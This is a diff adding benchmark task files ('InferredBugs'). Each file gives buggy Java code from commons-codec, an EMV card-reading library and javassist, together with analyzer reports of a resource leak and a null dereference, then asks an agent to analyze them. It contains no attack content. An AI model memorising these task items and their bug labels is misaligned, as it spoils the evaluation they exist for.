+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // OpenSSL interop test.
+        encoded = StringUtils.getBytesUtf8(Base64TestData.ENCODED_64_CHARS_PER_LINE);
+        decoded = Base64TestData.DECODED;
+        testByChunk(encoded, decoded, BaseNCodec.PEM_CHUNK_SIZE, LF);
+
+        // Single Line test.
+        String singleLine = Base64TestData.ENCODED_64_CHARS_PER_LINE.replaceAll("\n", "");
+        encoded = StringUtils.getBytesUtf8(singleLine);
+        decoded = Base64TestData.DECODED;
+        testByChunk(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base64TestData.randomData(i, false);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByChunk(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests the Base64InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64InputStreamByteByByte() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8("SGVsbG8gV29ybGQ=\r\n");
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA==\r\n");
+        decoded = new byte[] { (byte) 0 };
+        testByteByByte(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // OpenSSL interop test.
+        encoded = StringUtils.getBytesUtf8(Base64TestData.ENCODED_64_CHARS_PER_LINE);
+        decoded = Base64TestData.DECODED;
+        testByteByByte(encoded, decoded, BaseNCodec.PEM_CHUNK_SIZE, LF);
+
+        // Single Line test.
+        String singleLine = Base64TestData.ENCODED_64_CHARS_PER_LINE.replaceAll("\n", "");
+        encoded = StringUtils.getBytesUtf8(singleLine);
+        decoded = Base64TestData.DECODED;
+        testByteByByte(encoded, decoded, 0, LF);
+
+        // test random data of sizes 0 thru 150
+        for (int i = 0; i <= 150; i++) {
+            byte[][] randomData = Base64TestData.randomData(i, false);
+            encoded = randomData[1];
+            decoded = randomData[0];
+            testByteByByte(encoded, decoded, 0, LF);
+        }
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base64InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base64 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base64 encoded data.
+     * @param seperator
+     *            Line separator in the base64 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base64 commons-codec implementation.
+     */
+    private void testByChunk(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base64InputStream(in, true, chunkSize, seperator);
+        byte[] output = Base64TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base64InputStream(in);
+        output = Base64TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base64InputStream(in, true, chunkSize, seperator);
+            in = new Base64InputStream(in, false);
+        }
+        output = Base64TestData.streamToBytes(in);
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests method does three tests on the supplied data: 1. encoded ---[DECODE]--> decoded 2. decoded ---[ENCODE]--> encoded 3. decoded
+     * ---[WRAP-WRAP-WRAP-etc...] --> decoded
+     * <p/>
+     * By "[WRAP-WRAP-WRAP-etc...]" we mean situation where the Base64InputStream wraps itself in encode and decode mode over and over
+     * again.
+     *
+     * @param encoded
+     *            base64 encoded data
+     * @param decoded
+     *            the data from above, but decoded
+     * @param chunkSize
+     *            chunk size (line-length) of the base64 encoded data.
+     * @param seperator
+     *            Line separator in the base64 encoded data.
+     * @throws Exception
+     *             Usually signifies a bug in the Base64 commons-codec implementation.
+     */
+    private void testByteByByte(byte[] encoded, byte[] decoded, int chunkSize, byte[] seperator) throws Exception {
+
+        // Start with encode.
+        InputStream in = new ByteArrayInputStream(decoded);
+        in = new Base64InputStream(in, true, chunkSize, seperator);
+        byte[] output = new byte[encoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 encode", Arrays.equals(output, encoded));
+
+        // Now let's try decode.
+        in = new ByteArrayInputStream(encoded);
+        in = new Base64InputStream(in);
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 decode", Arrays.equals(output, decoded));
+
+        // I always wanted to do this! (wrap encoder with decoder etc etc).
+        in = new ByteArrayInputStream(decoded);
+        for (int i = 0; i < 10; i++) {
+            in = new Base64InputStream(in, true, chunkSize, seperator);
+            in = new Base64InputStream(in, false);
+        }
+        output = new byte[decoded.length];
+        for (int i = 0; i < output.length; i++) {
+            output[i] = (byte) in.read();
+        }
+
+        assertEquals("EOF", -1, in.read());
+        assertEquals("Still EOF", -1, in.read());
+        assertTrue("Streaming base64 wrap-wrap-wrap!", Arrays.equals(output, decoded));
+    }
+
+    /**
+     * Tests markSupported.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testMarkSupported() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        // Always returns false for now.
+        assertFalse("Base64InputStream.markSupported() is false", in.markSupported());
+    }
+
+    /**
+     * Tests read returning 0
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testRead0() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        int bytesRead = 0;
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        bytesRead = in.read(buf, 0, 0);
+        assertEquals("Base64InputStream.read(buf, 0, 0) returns 0", 0, bytesRead);
+    }
+
+    /**
+     * Tests read with null.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testReadNull() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        try {
+            in.read(null, 0, 0);
+            fail("Base64InputStream.read(null, 0, 0) to throw a NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests read throwing IndexOutOfBoundsException
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testReadOutOfBounds() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base64InputStream in = new Base64InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+
+        try {
+            in.read(buf, -1, 0);
+            fail("Expected Base64InputStream.read(buf, -1, 0) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, 0, -1);
+            fail("Expected Base64InputStream.read(buf, 0, -1) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length + 1, 0);
+            fail("Base64InputStream.read(buf, buf.length + 1, 0) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length - 1, 2);
+            fail("Base64InputStream.read(buf, buf.length - 1, 2) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests skipping number of characters larger than the internal buffer.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipBig() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        assertEquals(6, b64stream.skip(Integer.MAX_VALUE));
+        // End of stream reached
+        assertEquals(-1, b64stream.read());
+        assertEquals(-1, b64stream.read());
+    }
+
+    /**
+     * Tests skipping as a noop
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipNone() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        byte[] actualBytes = new byte[6];
+        assertEquals(0, b64stream.skip(0));
+        b64stream.read(actualBytes, 0, actualBytes.length);
+        assertArrayEquals(actualBytes, new byte[] { 0, 0, 0, (byte) 255, (byte) 255, (byte) 255 });
+        // End of stream reached
+        assertEquals(-1, b64stream.read());
+    }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipPastEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(6, b64stream.skip(10));
+        // End of stream reached
+        assertEquals(-1, b64stream.read());
+        assertEquals(-1, b64stream.read());
+    }
+
+    /**
+     * Tests skipping to the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipToEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(6, b64stream.skip(6));
+        // End of stream reached
+        assertEquals(-1, b64stream.read());
+        assertEquals(-1, b64stream.read());
+    }
+
+    /**
+     * Tests if negative arguments to skip are handled correctly.
+     *
+     * @throws Throwable
+     */
+    @Test(expected=IllegalArgumentException.class)
+    public void testSkipWrongArgument() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        b64stream.skip(-10);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.codec.binary.Base64InputStream` acquired to `b64stream` by call to `Base64InputStream(...)` at line 519 is not released after line 524.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base64InputStreamTest.testSkipPastEnd()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base64InputStreamTest.testSkipPastEnd():void.a8eadd60cb6e2efc0727ba58e98f08a3
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base64InputStreamTest.java
+
+### Key:
+Base64InputStreamTest.java|testSkipPastEnd|RESOURCE_LEAK
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+753844dab446878f4ceff97cd524afe8
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3371/instruction.md b/inferredbugs-3371/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7e732392014ff0a3675029061adb25c8e39f1068
--- /dev/null
+++ b/inferredbugs-3371/instruction.md
@@ -0,0 +1,271 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** EMV-NFC-Paycard-Enrollment
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.github.devnied.emvnfccard.utils;
+
+import java.text.SimpleDateFormat;
+
+import org.fest.assertions.Assertions;
+import org.junit.Test;
+
+import com.github.devnied.emvnfccard.model.EmvCard;
+import com.github.devnied.emvnfccard.model.enums.ServiceCode1Enum;
+import com.github.devnied.emvnfccard.model.enums.ServiceCode2Enum;
+import com.github.devnied.emvnfccard.model.enums.ServiceCode3Enum;
+
+import fr.devnied.bitlib.BytesUtils;
+
+public class TrackUtilsTest {
+
+	@Test
+	public void track1Test() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils
+				.extractTrack1Data(
+						card,
+						BytesUtils
+								.fromString("70 75 9F 6C 02 00 01 9F 62 06 00 00 00 38 00 00 9F 63 06 00 00 00 00 E0 E0 56 34 42343131313131313131313131313131313f305e202f5e31373032323031313030333f313030313030303030303030303030303f30303030 9F 64 01 03 9F 65 02 1C 00 9F 66 02 03 F0 9F 6B 13 5566887766556677 D1 81 02 01 00 00 00 00 00 10 0F 9F 67 01 03 90 00"));
+
+		Assertions.assertThat(ret).isTrue();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getCardNumber()).isEqualTo("4111111111111111");
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/yyyy");
+		Assertions.assertThat(sdf.format(card.getExpireDate())).isEqualTo("02/2017");
+		Assertions.assertThat(card.getTrack1()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1()).isEqualTo(ServiceCode1Enum.INTERNATIONNAL_ICC);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getInterchange()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getTechnology()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2()).isEqualTo(ServiceCode2Enum.NORMAL);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2().getAuthorizationProcessing()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3()).isEqualTo(ServiceCode3Enum.NO_RESTRICTION);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getAllowedServices()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getPinRequirements()).isNotNull();
+	}
+
+	@Test
+	public void track1NameTest() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils
+				.extractTrack1Data(
+						card,
+						BytesUtils
+								.fromString("563A42343131313131313131313131313131313F305E446F652F4A6F686E5E31373032323031313030333F313030313030303030303030303030303F30303030"));
+
+		Assertions.assertThat(ret).isTrue();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getCardNumber()).isEqualTo("4111111111111111");
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/yyyy");
+		Assertions.assertThat(sdf.format(card.getExpireDate())).isEqualTo("02/2017");
+		Assertions.assertThat(card.getTrack1()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getHolderFirstname()).isEqualTo("John");
+		Assertions.assertThat(card.getTrack1().getHolderLastname()).isEqualTo("Doe");
+		Assertions.assertThat(card.getTrack1().getService()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1()).isEqualTo(ServiceCode1Enum.INTERNATIONNAL_ICC);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getInterchange()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getTechnology()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2()).isEqualTo(ServiceCode2Enum.NORMAL);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2().getAuthorizationProcessing()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3()).isEqualTo(ServiceCode3Enum.NO_RESTRICTION);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getAllowedServices()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getPinRequirements()).isNotNull();
+	}
+
+	@Test
+	public void track1FormatTest() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils
+				.extractTrack1Data(
+						card,
+						BytesUtils
+								.fromString("564C42353231313131313131313131313131315E202F2020202020202020202020202020202020202020202020205E31363038323032303030303030303030303030312020303030202020202030"));
+
+		Assertions.assertThat(ret).isTrue();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getCardNumber()).isEqualTo("5211111111111111");
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/yyyy");
+		Assertions.assertThat(sdf.format(card.getExpireDate())).isEqualTo("08/2016");
+		Assertions.assertThat(card.getTrack1()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getHolderFirstname()).isNull();
+		Assertions.assertThat(card.getTrack1().getHolderLastname()).isNull();
+		Assertions.assertThat(card.getTrack1().getService()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1()).isEqualTo(ServiceCode1Enum.INTERNATIONNAL_ICC);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getInterchange()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getTechnology()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2()).isEqualTo(ServiceCode2Enum.NORMAL);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2().getAuthorizationProcessing()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3()).isEqualTo(ServiceCode3Enum.GOODS_SERVICES);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getAllowedServices()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getPinRequirements()).isNotNull();
+	}
+	
+	@Test
+	public void track1FormatNullUser() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils
+				.extractTrack1Data(
+						card,
+						BytesUtils
+								.fromString("564C42353231313131313131313131313131315E22202020202020202020202020202020202020202020202020205E31363038323032303030303030303030303030312020303030202020202030"));
+
+		Assertions.assertThat(ret).isTrue();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getCardNumber()).isEqualTo("5211111111111111");
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/yyyy");
+		Assertions.assertThat(sdf.format(card.getExpireDate())).isEqualTo("08/2016");
+		Assertions.assertThat(card.getTrack1()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getHolderFirstname()).isNull();
+		Assertions.assertThat(card.getTrack1().getHolderLastname()).isNull();
+		Assertions.assertThat(card.getTrack1().getService()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1()).isEqualTo(ServiceCode1Enum.INTERNATIONNAL_ICC);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getInterchange()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode1().getTechnology()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2()).isEqualTo(ServiceCode2Enum.NORMAL);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode2().getAuthorizationProcessing()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3()).isEqualTo(ServiceCode3Enum.GOODS_SERVICES);
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getAllowedServices()).isNotNull();
+		Assertions.assertThat(card.getTrack1().getService().getServiceCode3().getPinRequirements()).isNotNull();
+	}
+
+	@Test
+	public void track2Test() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils.extractTrack2Data(card,
+				BytesUtils.fromString("57 13 55 66 88 77 66 55 66 77 D1 50 62 01 69 28 07 65 90 00 0F"));
+
+		Assertions.assertThat(ret).isTrue();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getCardNumber()).isEqualTo("5566887766556677");
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/yyyy");
+		Assertions.assertThat(sdf.format(card.getExpireDate())).isEqualTo("06/2015");
+		Assertions.assertThat(card.getTrack2()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode1()).isEqualTo(ServiceCode1Enum.INTERNATIONNAL_ICC);
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode1().getInterchange()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode1().getTechnology()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode2()).isEqualTo(ServiceCode2Enum.NORMAL);
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode2().getAuthorizationProcessing()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode3()).isEqualTo(ServiceCode3Enum.NO_RESTRICTION);
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode3().getAllowedServices()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode3().getPinRequirements()).isNotNull();
+	}
+
+	@Test
+	public void track2Test2() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils.extractTrack2Data(card,
+				BytesUtils.fromString("57 15 55 55 55 66 88 77 66 55 66 7D 11 05 62 01 69 28 07 65 90 00 0F"));
+
+		Assertions.assertThat(ret).isTrue();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getCardNumber()).isEqualTo("5555556688776655667");
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/yyyy");
+		Assertions.assertThat(sdf.format(card.getExpireDate())).isEqualTo("05/2011");
+		Assertions.assertThat(card.getTrack2()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode1()).isEqualTo(ServiceCode1Enum.NATIONAL_ICC);
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode2()).isEqualTo(ServiceCode2Enum.BY_ISSUER);
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode3()).isEqualTo(ServiceCode3Enum.NO_RESTRICTION_PIN_REQUIRED);
+	}
+
+	@Test
+	public void track2TestNullService() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils.extractTrack2Data(card,
+				BytesUtils.fromString("57 15 55 55 55 66 88 77 66 55 66 7D 11 05 FF F1 69 28 07 65 90 00 0F"));
+
+		Assertions.assertThat(ret).isTrue();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getCardNumber()).isEqualTo("5555556688776655667");
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/yyyy");
+		Assertions.assertThat(sdf.format(card.getExpireDate())).isEqualTo("05/2011");
+		Assertions.assertThat(card.getTrack2()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService()).isNotNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode1()).isNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode2()).isNull();
+		Assertions.assertThat(card.getTrack2().getService().getServiceCode3()).isNull();
+	}
+	
+	@Test
+	public void track2TestNull() {
+		EmvCard card = new EmvCard();
+		boolean ret = TrackUtils.extractTrack2Data(card,
+				BytesUtils.fromString("00"));
+
+		Assertions.assertThat(ret).isFalse();
+		Assertions.assertThat(card).isNotNull();
+		Assertions.assertThat(card.getTrack2()).isNull();
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `card.getTrack1()` could be null and is dereferenced at line 86.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TrackUtilsTest.track1FormatTest()
+
+### Procedure Id:
+com.github.devnied.emvnfccard.utils.TrackUtilsTest.track1FormatTest():void.f054e4ca9b7a78025257ed48d5364f60
+
+### File:
+library/src/test/java/com/github/devnied/emvnfccard/utils/TrackUtilsTest.java
+
+### Key:
+TrackUtilsTest.java|track1FormatTest|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+36e5e12e4d33645199eaf2b818b931a7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3376/instruction.md b/inferredbugs-3376/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1cb37d6eff3f1cc61a571f4e7eb8a5aead1f68a2
--- /dev/null
+++ b/inferredbugs-3376/instruction.md
@@ -0,0 +1,1687 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** javassist
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Javassist, a Java-bytecode translator toolkit.
+ * Copyright (C) 1999-2007 Shigeru Chiba. All Rights Reserved.
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License.  Alternatively, the contents of this file may be used under
+ * the terms of the GNU Lesser General Public License Version 2.1 or later.
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ */
+
+package javassist;
+
+import java.lang.ref.WeakReference;
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.ByteArrayInputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.List;
+import java.util.Set;
+
+import javassist.bytecode.AccessFlag;
+import javassist.bytecode.AttributeInfo;
+import javassist.bytecode.AnnotationsAttribute;
+import javassist.bytecode.BadBytecode;
+import javassist.bytecode.Bytecode;
+import javassist.bytecode.ClassFile;
+import javassist.bytecode.CodeAttribute;
+import javassist.bytecode.ConstantAttribute;
+import javassist.bytecode.CodeIterator;
+import javassist.bytecode.ConstPool;
+import javassist.bytecode.Descriptor;
+import javassist.bytecode.EnclosingMethodAttribute;
+import javassist.bytecode.FieldInfo;
+import javassist.bytecode.InnerClassesAttribute;
+import javassist.bytecode.MethodInfo;
+import javassist.bytecode.ParameterAnnotationsAttribute;
+import javassist.bytecode.annotation.Annotation;
+import javassist.compiler.AccessorMaker;
+import javassist.compiler.CompileError;
+import javassist.compiler.Javac;
+import javassist.expr.ExprEditor;
+
+/**
+ * Class types.
+ */
+class CtClassType extends CtClass {
+    ClassPool classPool;
+    boolean wasChanged;
+    private boolean wasFrozen;
+    boolean wasPruned;
+    boolean memberRemoved;
+    ClassFile classfile;
+    byte[] rawClassfile;    // backup storage
+
+    private WeakReference memberCache;
+    private AccessorMaker accessors;
+
+    private FieldInitLink fieldInitializers;
+    private Hashtable hiddenMethods;    // must be synchronous
+    private int uniqueNumberSeed;
+
+    private boolean doPruning = ClassPool.doPruning;
+    int getCounter;
+    private static int readCounter = 0;
+    private static final int READ_THRESHOLD = 100;  // see getClassFile2()
+    private static final int GET_THRESHOLD = 2;     // see releaseClassFiles()
+
+    CtClassType(String name, ClassPool cp) {
+        super(name);
+        classPool = cp;
+        wasChanged = wasFrozen = wasPruned = memberRemoved = false;
+        classfile = null;
+        rawClassfile = null;
+        memberCache = null;
+        accessors = null;
+        fieldInitializers = null;
+        hiddenMethods = null;
+        uniqueNumberSeed = 0;
+        getCounter = 0;
+    }
+
+    CtClassType(InputStream ins, ClassPool cp) throws IOException {
+        this((String)null, cp);
+        classfile = new ClassFile(new DataInputStream(ins));
+        qualifiedName = classfile.getName();
+    }
+
+    protected void extendToString(StringBuffer buffer) {
+        if (wasChanged)
+            buffer.append("changed ");
+
+        if (wasFrozen)
+            buffer.append("frozen ");
+
+        if (wasPruned)
+            buffer.append("pruned ");
+
+        buffer.append(Modifier.toString(getModifiers()));
+        buffer.append(" class ");
+        buffer.append(getName());
+
+        try {
+            CtClass ext = getSuperclass();
